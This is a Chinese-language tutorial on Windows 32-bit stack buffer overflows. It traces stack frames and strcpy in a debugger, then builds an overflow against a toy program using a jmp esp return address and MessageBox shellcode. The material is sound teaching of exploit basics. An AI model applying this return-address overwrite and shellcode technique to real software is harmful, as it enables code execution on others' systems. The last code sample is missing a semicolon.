Windows缓冲区栈溢出入门学习
0x01 基础知识
程序在运行中都有一块栈空间,这块栈本质就是一块内存,栈空间主要用来存放函数的参数和一些临时变量,函数在执行的时候会先把参数push到栈中,到所有参数都入栈会用call执行函数
当然这个栈空间也是有大小的,需要有东西来确定这个栈从哪来开始到哪里,不然整个内存都变成栈了
这里就引出了ESP和EBP寄存器,这是在32位系统的
ESP存放栈顶,EBP存放栈底,这样就可以确定一块栈的大小
可能讲的不是很清楚,没事后面会有截图的
0x02 在dbg中观察栈
先整个messagebox的程序观察一下函数的调用和栈空间
1 2 3 4 5 6 7 8
| #include"stdafx.h" #include<windows.h>
int main(int argc, char* argv[]) { MessageBoxA(NULL, "helloworld","helloworld", MB_OK); return 0; }
|
1 2 3 4 5
| push 0 ;MB_OK宏定义就是0 push helloworld.406030 ;指向Text值的指针 push helloworld.406030 ;指向title值的指针 push 0 ;MessageBoxA的第一个参数NULL就是0 call dword ptr ds:[<&MessageBoxA>] ;调用MessageBoxA函数
|
走到call这里可以看到参数已经全部入栈了
然后F7走到call里面
这里要说一下call的作用就是将下一个要执行的指令的地址压入栈中,然后jmp到call的地址
这里是已经call进去了,可以看到栈顶是返回地址也就是这个函数执行完要回去的地址
这里别的都不用看,只要看这个ret就好
ret的如果改为别的汇编指令就是jmp到栈顶的这个地址,然后pop把地址栈顶地址弹出来
这里的ret 10是指还要多弹出16字节,因为前面压入了四个参数,参数都是四字节的,4x4=16把参数也全部取出来,这就是堆栈平衡
在上图右下角栈区0012FF84这个位置可以看到还有个返回地址,这个函数地址是main函数的
那如果有个函数的参数大小超出了缓冲区把main函数的返回地址覆盖了,最后main函数在执行ret的时候就会跳到被覆盖的地址,这就是缓冲区溢出
0x03 缓冲区溢出
1 2 3 4 5 6 7 8 9 10 11
| #include"stdafx.h" #include<windows.h> char name[] = "abcdabcd"; int main(int argc, char* argv[]) {
char output[8]; strcpy(output, name); printf("%s", output); return 0; }
|
这个程序很简单,就是把name数组的八个字符用strcpy复制到output中
但是这里output只能存8个字符,要是多了就会出现溢出漏洞
先来看一遍程序的正常执行吧
首先到这里进主函数
记录一下这里的下一条指令地址是401699,然后F7进入函数
可以看到已经把call的下一个的指令的地址压入栈顶
然后来看一下后面的汇编代码,这里的jmp就不看了,就是跳到401010的位置然后开始正常执行
1 2 3 4 5 6 7 8 9 10
| push ebp ; mov ebp,esp sub esp,48 push ebx push esi push edi lea edi,dword ptr ss:[ebp-48] mov ecx,12 mov eax,CCCCCCCC rep stosd ;上面这块全部都是提升堆栈,在堆栈中填满cccccccc这样如果程序不小心走到这里不会发生别的什么事只会被断下
|
这里可以看到00425A30中存放的abcdabcd,0012FF78-0012FF7C是CCCCCCCC
1 2 3 4
| push shell.425A30 ;这个地址是全局变量abcdabcd存放的地址,把这个地址压入栈中 lea eax,dword ptr ss:[ebp-8] ;把ebp-8的地址放入eax中 push eax ;把这个地址压入栈中 call shell.401480 ;调用strcpy
|
可以看到执行完这个函数0012FF78-0012FF7C已经存入了abcdabcd
到这里需要注意的就差不多了,想了解一下strcpy怎么实现的可以看后面的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| push esi ;提升栈顶 push edi ;提升栈顶 mov dword ptr ss:[esp+10],eax ;将eax中的数据放入esp+10的位置 mov dword ptr ss:[esp+14],ecx ;将ecx中的数据放入esp+14的位置 ;这里的eax和ecx都是abcd lea edi,dword ptr ss:[esp+10] ;将esp+10的地址放入edi中 or ecx,FFFFFFFF ;将ecx改为FFFFFFFF xor eax,eax ;eax置零 mov byte ptr ss:[esp+18],dl ;将dl的值放入esp+18的位置 ;这是为了截断字符串,esp+10开始就是abcdabcd,如果esp+18不为0的话后面计算字符串商都就会出现错误 lea edx,dword ptr ss:[esp+8] ;将esp+8位置的地址放入edx中 repne scasb ;这条指令挺有意思的,简单说会对edi指向的内容进行扫描,读一个字节ecx-1,读到和eax相同的值就停止,DF来确定是向上读还是向下读,这里eax置零了,所以匹配到00这个指令就会结束,用来得到字符串长度 not ecx ;这时候ECX的值经过上面的指令已经变成FFFFFFF6,然后取反得到了字符串的长度 sub edi,ecx ;edi减去字符串的长度又重新指向了abcdabcd了 mov eax,ecx ;将长度存入eax mov esi,edi ;将edi的值存入esi mov edi,edx ;将edx的值存入edi,这里edx的值是esp+8中的内容 shr ecx,2 ;ecx右移2次,1001->0010 rep movsd ;这条指令也是可以可以改成很多步骤的 ;这里是sd所以是4字节的,还有sw2字节,sb一字节,这条指令会把esi中的内容复制到edi然后esi和edi同时加4字节,根据ecx来决定执行几次,上面ecx为2,所以把esi指向的后面8字节的内容复制到了edi中 mov ecx,eax ;eax放入ecx and ecx,3 ;逻辑与这里ecx为1 rep movsb ;和上面类似这里是sb复制一字节就够了,这里复制的是00为了截断字符串这样后面调用printf的时候不输出多余的字符
|
这段和上面的程序没什么关系,就是strcpy的实现过程
观察一下上面的图在abcdabcd的+8位置就是main函数的返回地址,abcdabcd又是可控的,如果将字符串加长变为abcdabcdaaaaaaaa就会覆盖掉函数的返回地址,实现溢出漏洞
下面改一下代码看程序的不正常运行
1 2 3 4 5 6 7 8 9 10 11 12
| #include"stdafx.h" #include<windows.h> char name[] = "abcdabcdaaaaaaaa"; int main(int argc, char* argv[]) {
char output[8]; strcpy(output, name); printf("%s", output);
return 0; }
|
这里可以看到aaaa已经覆盖掉了函数的返回地址
ret要执行栈顶的地址,这时候栈顶已经是aaaa,会导致程序跳到一个不知道什么的地方最后报错
栈溢出肯定不是为了让程序报错的,需要调整一下输入实现执行别的代码
这里需要用到jmp esp,因为esp后面的数据也是可控的
当然jmp esp怎么来是问题
程序在加载过程中肯定会加载一些必须要用的dll
像kernel32.dll,ntdll.dll,这时候就可以用到这些dll中的指令
这里就用网上通用的jmp esp地址0x7ffa4512
正常的汇编中肯定不会有jmp esp这种指令的
1 2 3 4 5 6
| 7FFA4511 | E4 FF | in al,FF 7FFA4513 | E4 00 | in al,0
;如果从7FFA4511看这条指令是in al,FF ;但是0x7ffa4512看就是FFE4指令是jmp esp ;所以不要直接用x32dbg搜索jmp esp指令,要直接匹配机器指令
|
下面改一下代码
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include"stdafx.h" #include<windows.h> char name[] = "abcdabcdaaaa" "\x12\x45\xfa\x7f"; int main(int argc, char* argv[]) {
char output[8]; strcpy(output, name); printf("%s", output);
return 0; }
|
执行一下可以看到返回地址已经被改成jmp esp的地址
后面就可以加上shellcode了,这里的话就用messagebox了,因为winxp没有ASLR所以地址都是固定的,这里就不用PEB找kernel32了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| #include"stdafx.h" #include<windows.h> char name[] = "abcdabcdaaaa" "\x12\x45\xfa\x7f" "\x31\xd2" "\x52" "\x68\x74\x65\x78\x74" "\x89\xe0" "\x52" "\x6a\x65" "\x68\x74\x69\x74\x6c" "\x89\xe3" "\x52" "\x53" "\x50" "\x52" "\xb8\xea\x07\xd5\x77" "\xff\xd0" "\xb8\xfa\xca\x81\x7c" "\x52" "\xff\xd0" int main(int argc, char* argv[]) { LoadLibraryA("user32.dll"); char output[8]; strcpy(output, name); printf("%s", output);
return 0; }
|
这里调用了MessageBoxA和ExitProcess以保证程序正常退出
最终效果如下